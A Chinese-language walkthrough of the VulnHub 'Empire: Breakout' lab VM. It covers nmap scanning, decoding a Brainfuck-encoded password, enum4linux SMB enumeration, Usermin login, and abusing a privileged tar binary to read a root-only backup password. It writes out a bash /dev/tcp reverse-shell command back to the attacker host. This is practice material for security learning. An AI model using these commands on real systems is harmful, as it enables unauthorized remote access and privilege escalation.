学习前言

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

Vulnhub 官网:Vulnerable By Design ~ VulnHub

今天用到的靶场Breakout:Empire: Breakout ~ VulnHub

准备工作

环境:Linux kali Breakout靶机 浏览器

知识点:Linux基础

一、信息收集

我们拿到靶机后打开直接看到IP地址了

但是如果在真实的环境当中进行内网渗透,我们看不到目标主机怎么办呢

我们知道,内网一般存在于一个网段或者不同网段,可以用

1
Nmap -sn 192.168.159.0/24 #扫描整个网段里的所有IP地址

这里我们直接知道IP为:192.168.159.134

第一步:开始收集它开放的端口

1
Nmap -sV 192.168.159.134

可以看到开放的端口是很多的有:80 139 445 10000 20000

首先我们先访问一下 80 端口有啥东西

发现了个Apache的页面,说明了它用的中间件是 Apache2

发现这个有啥用呢,也没发现什么敏感的信息,正当我准备关闭的时候,按下了F12 发现了个不一样的东西

一窜窜东西还提示:

1
don't worry no one will get here, it's safe to share with you my access. Its encrypted

翻译过来大概是:不要担心,他很安全

哪它到底安不安全呢?起初我以为是简单的摩尔斯密码,但我一看,有点不像,因为它多了几个符号杂七杂八的东西,

1
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

然后我试了各种密码都不对,最后我还是通过csdn的一篇文章,看到了原题,才知道这是ook加密

最后解密过来就是: .2uqPEfj3D<P'a-3

推荐解密工具:Brainfuck/OoK加密解密 - Bugku CTF

这一长串的东西,有点像密码,但我们又不确定,先存着

然后我们再看看 10000 和 20000 这个端口里面是啥

一个网站是Uermin 一个是 Webmin

两个网站挺正常的也没啥可以的点。

二、SMB 泄露

我们通过端口扫描的时候发现了它开启了SMB服务,文件共享服务

那么我们是否可以通过一些工具来,扫描这些文件有没有我们想要的内容呢?

我们试试用

1
enum4linux 192.168.159.134

Enum4Linux 是很棒的扫描工具,可以扫描发现SMB泄露的文件

通过扫描我们发现了敏感的东西

发现了啥 再\Unix User\ 文件有个用户文件叫做cyber

说明什么,说明了这个可能就是系统的某个账户,那么再结合我们上面的密码,是否可以访问后台了呢,首先刚刚有10000 和 20000 两个网站 一个是web应用的后台 密码应该不能是系统里的用户

所以我们锁定了Usermin,我们试着登入试试

登入成功,既然是个文件管理系统,那不就好办了,可以知道网站上的所有文件

我们直接打开终端

通过查看目录,发现了一个user.txt打开它就得到了第一个flag

1
2
3
4
5
6
[cyber@breakout ~]$ ls
tar
user.txt
[cyber@breakout ~]$ cat user.txt
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
[cyber@breakout ~]$

三、Linux提权

在我们打开另一个 tar文件的时候发现啥权限不够,查看权限的时候发现只有root用户才能操作,我们用户是 cyber 无权操作 但是这个是可执行文件,说明什么?

权限如何看:

1
2
3
4
5
r 表示文件可以被读(read)

w 表示文件可以被写(write)

x 表示文件可以被执行(如果它是程序的话)

那么我们如何提权呢?如何拿到root权限呢?
我们找到网站目录文件看看有啥好东西

敏感文件 backups 备份文件,进去看看

还是没发现什么有用的文件,那是不是隐藏了?

1
ls -la

果然有个 old_pass.bak

我们只有读取的权限,那么我们通过打包再解压的方式

一定要cd ~ 不然会没有权限访问

1
2
./tar -cvf oldpass.tar /var/backups/.old_pass.bak
tar -xvf oldpass.tar

最后

得到密码了

后面发现直接 su 的话是不能直接登入的

所以就用到强大的kali 用 NC做个反弹shell

nc -lvvp 999

靶机上输入:里面是kali的IP、 999 是监听的端口

bash -i >& /dev/tcp/192.168.159.128/999 0>&1
最后就得到flag了

总结

Vulnhub的这个靶场非常适合新手的朋友,里面包含了 信息收集,密码解密,SMB共享文件泄露

备份文件泄露,通过泄露的密码进行Linux提权。